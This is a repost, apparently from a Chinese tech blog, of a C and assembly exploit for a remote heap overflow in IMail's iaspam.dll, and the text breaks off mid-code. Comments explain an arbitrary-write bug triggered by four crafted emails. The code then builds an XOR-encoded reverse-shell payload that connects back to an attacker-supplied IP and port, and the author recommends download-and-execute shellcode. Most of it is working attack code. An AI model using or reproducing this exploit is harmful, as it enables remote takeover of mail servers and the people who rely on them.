现在的位置: 首页 > 综合 > 正文

IMail iaspam.dll 8.0x Remote Heap Overflow Exploit

2013年03月03日 ⁄ 综合 ⁄ 共 11042字 ⁄ 字号 评论关闭
 

/*

  by axis
  2007-06-05
  http://www.ph4nt0m.org

  以前有这个一个imail的exp
PRIVATE Remote Exploit  For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
        -d:             Hostname to attack [Required]
        -t:             Type [Default: 0]
        -p:             Attack port [Default: 25]
        -S:             the IP connect back to.
        -P:             the port connect back to.
Types:
        0: win2k All version , IMail 8.01-11

  不知道是哪位大牛写的

最近看了看,

非常好玩的一个漏洞。

漏洞是发生在iaspam.dll里

loc_1001ada5       ==> 注意动态调试时候注意加载基址的不同。
mov    eax, [ebp+var_54]
mov    ecx, [eax+10c8h]
push   ecx                 ; char *
mov    edx, [ebp+var_54]
mov    eax, [edx+10d0h]
push   eax                 ; char *
call   _strcpy
add    esp, 8
jmp    loc_1001a6f0

  这里strcpy的两个buffer,src和dst的指针,居然是直接从堆里读出来的。
  而之前没有做任何检查

  所以发送个邮件到服务器,SMD文件

  然后在其后的偏移处控制这两个地址,就可以拷贝任意字符串到任意内存。

  badchar是 0x00 0x0a  emm说还有个 0x25,不过我没找到。

  以前网上那个反连的版本,是利用了覆盖peb里的指针。

  这种方法在2003上不能用。

  这里我采用了emm的方法,构造了一个溢出

  因为imailsec.dll的.data段可写。

  所以我找到了这么一个地方

1000CB5D    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60    50              PUSH EAX
1000CB61    8B0D 6C540310   MOV ECX,DWORD PTR DS:[1003546C]          ; IMailsec.1003549C
1000CB67    51              PUSH ECX
1000CB68    8D95 FCFDFFFF   LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E    52              PUSH EDX
1000CB6F    FF15 F8D30210   CALL DWORD PTR DS:[<&USER32.wsprintfA>]  ; USER32.wsprintfA

  其中指针DWORD PTR DS:[1003546C] 在imailsec.dll的.data中,这个地址可以被我们覆盖。

  所以我们就可以构造一个溢出。

  思路如下:
  第一封邮件: 发送shellcode到内存中保存好。这里我放到了teb中
  第二封邮件: 发送溢出需要的覆盖字符串到内存中保存好。这里我也放在了teb中
  第三封邮件: 覆盖imailsec.dll中的 .data段的指针,使wsprintfA造成溢出

  溢出覆盖使用的字符串是第二封邮件发送过去的,覆盖后的返回地址直接指向了第一封邮件发送过去的shellcode在内存中的地址。

  所以这个漏洞是和平台无关的!!不需要任何opcode!!

  在实际利用时我发送了4封邮件,第一封是废邮件,用于提高成功率。

  由于互联网的spam泛滥,所以等到邮件服务器处理漏洞邮件时,也许已经过了几个月了。。。

  所以最好的方案是使用download+exec 的shellcode。

  这里给出一个比较烂的反连shellcode作为poc。

  据emm说这个漏洞一直没补,只是高版本没有了。。。

  */

#include <stdio.h>
#include 
<stdlib.h>
#include 
<windows.h>
#include 
<winsock.h>
#include 
<io.h>

#pragma comment (lib,"ws2_32")

char *szEHLO = "HELO/r/n";
char *szMF = "MAIL FROM <fucker@fuckimail.org>/r/n";
char *szRCPT = "RCPT TO: <postmaster>/r/n";
char *szDATA = "DATA/r/n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800/r/n";
char *szMIME = "MIME/r/n";
char *szEND = "./r/n";
char *szQUIT = "QUIT/r/n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:";

//#define  SCaddr  "/x50/xe7/x03/x10"
#define  SCaddr  "/x50/xc8/xfd/x7f"
#define  Fuck_ptr "/x6c/x54/x03/x10"   //0x1003546c
#define  Teb_temp1  0x7ffdd050 
#define  Teb_temp2  0x7ffdd040 
#define  Teb_temp3  0x7ffdd030 

unsigned short port = 25;
unsigned 
char payload[5000= "";

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90/
                   __asm  _emit 
0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN

unsigned char sh_Buff[2048];
unsigned 
int  sh_Len;
unsigned 
int  Enc_key=0x99;        //其实无关紧要,动态寻找

unsigned char decode1[] =
/*
00401004   . /EB 0E         JMP SHORT encode.00401014
00401006   $ |5B            POP EBX
00401007   . |4B            DEC EBX
00401008   . |33C9          XOR ECX,ECX
0040100A   . |B1 FF         MOV CL,0FF
0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99
00401010   .^|E2 FA         LOOPD SHORT encode.0040100C
00401012   . |EB 05         JMP SHORT encode.00401019
00401014   > /E8 EDFFFFFF   CALL encode.00401006
*/
"/xEB/x0E/x5B/x4B/x33/xC9/xB1"
"/xFF"          // shellcode size
"/x80/x34/x0B"
"/xB8"          // xor byte
"/xE2/xFA/xEB/x05/xE8/xED/xFF/xFF/xFF";

unsigned char decode2[] =
/*
00406030   /EB 10           JMP SHORT 00406042
00406032   |5B              POP EBX
00406033   |4B              DEC EBX
00406034   |33C9            XOR ECX,ECX
00406036   |66:B9 6601      MOV CX,166
0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99
0040603E  ^|E2 FA           LOOPD SHORT 0040603A
00406040   |EB 05           JMP SHORT 00406047
00406042   /E8 EBFFFFFF     CALL 00406032
*/
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9"
"/x66/x01"      // shellcode size
"/x80/x34/x0B"
"/xB8"          // xor byte
"/xE2/xFA/xEB/x05/xE8/xEB/xFF/xFF/xFF";

// kernel32.dll functions index
#define _LoadLibraryA            0x00
#define _CreateProcessA            0x04
//#define _ExitProcess            0x08
#define _ExitThread             0x08
#define    _WaitForSingleObject    0x0C
// ws2_32.dll functions index
#define _WSASocketA                0x10
#define _connect                0x14
#define _closesocket            0x18
//#define _WSAStartup            0x1C

// functions number
#define _Knums                  4
#define _Wnums                  3

// Need functions
unsigned char functions[100][128=         
{                                           
// [esi] stack layout
    
// kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"CreateProcessA"},                     //    [esi+4]       
    {"ExitThread"},                         //    [esi+8]
    
//{"ExitProcess"},
    
//{"TerminateProcess"},
    {"WaitForSingleObject"},                //    [esi+12] 

    // ws2_32  3                            // 01 ws2_32.dll
    {"WSASocketA"},                         //    [esi+16]     
    {"connect"},                            //    [esi+20]        
    {"closesocket"},                        //    [esi+24]
    
//{"WSAStartup"},                       //    [esi+28]
    {""},
};

void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();

// Get function hash
unsigned long hash(unsigned char *c)
{
    unsigned 
long h=0;
    
while(*c)
    {
        h 
= ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
    }
    
return h;
}

// get shellcode
void GetShellCode(char* ipstr, short port)
{
    
char  *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";
    
char  *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";
    unsigned 
char  *pSc_addr;
    unsigned 
char  pSc_Buff[2048];
    unsigned 
int   MAX_Sc_Len=0x2000;
    unsigned 
long  dwHash[100];
    unsigned 
int   dwHashSize;

    unsigned int l,i,j,k;

    char *p;
    
int ip;

    // Get functions hash
    for (i=0;;i++) {
        
if (functions[i][0== '/x0'break;

        dwHash[i] = hash(functions[i]);
        
//fprintf(stderr, "%.8X/t%s/n", dwHash[i], functions[i]);
    }
    dwHashSize 
= i*4;

    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;

    for (k=0;k<MAX_Sc_Len;++k ) {
        
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
            
break;
        }
    }
    pSc_addr
+=(k+8);   // start of the ShellCode
    
    
for (k=0;k<MAX_Sc_Len;++k) {
        
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
            
break;
        }
    }
    sh_Len
=k; // length of the ShellCode
    
    memcpy(pSc_Buff, pSc_addr, sh_Len);

    for(k=0; k<sh_Len; ++k)
    {
        
if(memcmp(pSc_Buff+k, "/x68/x7F/x00/x00/x01"5== 0)
        {
            ip 
= inet_addr(ipstr);
            p 
= (char*)&ip;
            pSc_Buff[k
+1= p[0];
            pSc_Buff[k
+2= p[1];
            pSc_Buff[k
+3= p[2];
            pSc_Buff[k
+4= p[3];
        }
        
if(memcmp(pSc_Buff+k, "/x68/x02/x00/x00/x35"5== 0)
        {
            p 
= (char*)&port;
            pSc_Buff[k
+3= p[1]; 
            pSc_Buff[k
+4= p[0];
        }
    }

    // Add functions hash
    memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
    sh_Len 
+= dwHashSize;

    //printf("%d bytes shellcode/n", sh_Len);
    
// print shellcode
    
//PrintSc(pSc_Buff, sh_Len);

    // find xor byte
    for(i=0xff; i>0; i--)
    {
        l 
= 0;
        
for(j=0; j<sh_Len; j++)
        {
            
if ( 
//                   ((pSc_Buff[j] ^ i) == 0x26) ||    //%
//                   ((pSc_Buff[j] ^ i) == 0x3d) ||    //=
    
//               ((pSc_Buff[j] ^ i) == 0x3f) ||    //?
                   
//((pSc_Buff[j] ^ i) == 0x40) ||    //@
                   ((pSc_Buff[j] ^ i) == 0x00||
                   
//((pSc_Buff[j] ^ i) == 0x3c) ||
                   
//((pSc_Buff[j] ^ i) == 0x3e) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2f) ||
    
//               ((pSc_Buff[j] ^ i) == 0x22) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2a) ||
                   
//((pSc_Buff[j] ^ i) == 0x3a) ||
    
//               ((pSc_Buff[j] ^ i) == 0x20) ||
                   ((pSc_Buff[j] ^ i) == 0x25||
                   ((pSc_Buff[j] 
^ i) == 0x0D||
                   ((pSc_Buff[j] 
^ i) == 0x0A
    
//               ((pSc_Buff[j] ^ i) == 0x5C)
                )
            {
                l
++;
                
break;
            };
        }

        if (l==0)
        {
            Enc_key 
= i;
            
//printf("Find XOR Byte: 0x%02X/n", i);
            for(j=0; j<sh_Len; j++)
            {
                pSc_Buff[j] 
^= Enc_key;
            }

            break;                        // break when found xor byte
        }
    }

    // No xor byte found
    if (l!=0){
        
//fprintf(stderr, "No xor byte found!/n");

        sh_Len  
= 0;
    }
    
else {
        
//fprintf(stderr, "Xor byte 0x%02X/n", Enc_key);

        // encode
        if (sh_Len > 0xFF) {
            
*(unsigned short *)&decode2[8= sh_Len;
            
*(unsigned char *)&decode2[13= Enc_key;

            memcpy(sh_Buff, decode2, sizeof(decode2)-1);
            memcpy(sh_Buff
+sizeof(decode2)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode2)-1;
        }
        
else {
            
*(unsigned char *)&decode1[7]  = sh_Len;
            
*(unsigned char *)&decode1[11= Enc_key;

            memcpy(sh_Buff, decode1, sizeof(decode1)-1);
            memcpy(sh_Buff
+sizeof(decode1)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode1)-1;
        }
    }
}

// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
    
int i,j;
    
char *p;
    
char msg[4];

    printf("/* %d bytes *//n",buffsize);
    
for(i=0;i<buffsize;i++)
    {
        
if((i%16)==0)
            
if(i!=0)
                printf(
"/"/n/"");
            
else
                printf(
"/"");
        sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
        
for( p = msg, j=0; j < 4; p++, j++ )
        {
            
if(isupper(*p))
                printf(
"%c", _tolower(*p));
            
else
                printf(
"%c", p[0]);
        }
    }
   printf( 
"/";/n");
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          
// C macro to begin proc

        jmp     sc_end       
sc_start:         
        pop     edi                         
// Hash string start addr (esp -> edi)

        // Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink 
        lodsd                               // eax = InInitOrder.blink
        mov     ebp, [eax+8]                // ebp = kernel32.dll base address

        mov     esi, edi                    
// Hash string start addr -> esi
    
    
// Get function addr of kernel32
        push    _Knums
        pop     ecx
        
    get_kernel32:
        call    GetProcAddress_fun
        loop    get_kernel32

        // Get ws2_32.dll base addr
        push    0x00003233
        push    
0x5f327377
        push    esp
        call    dword ptr [esi
<

抱歉!评论已关闭.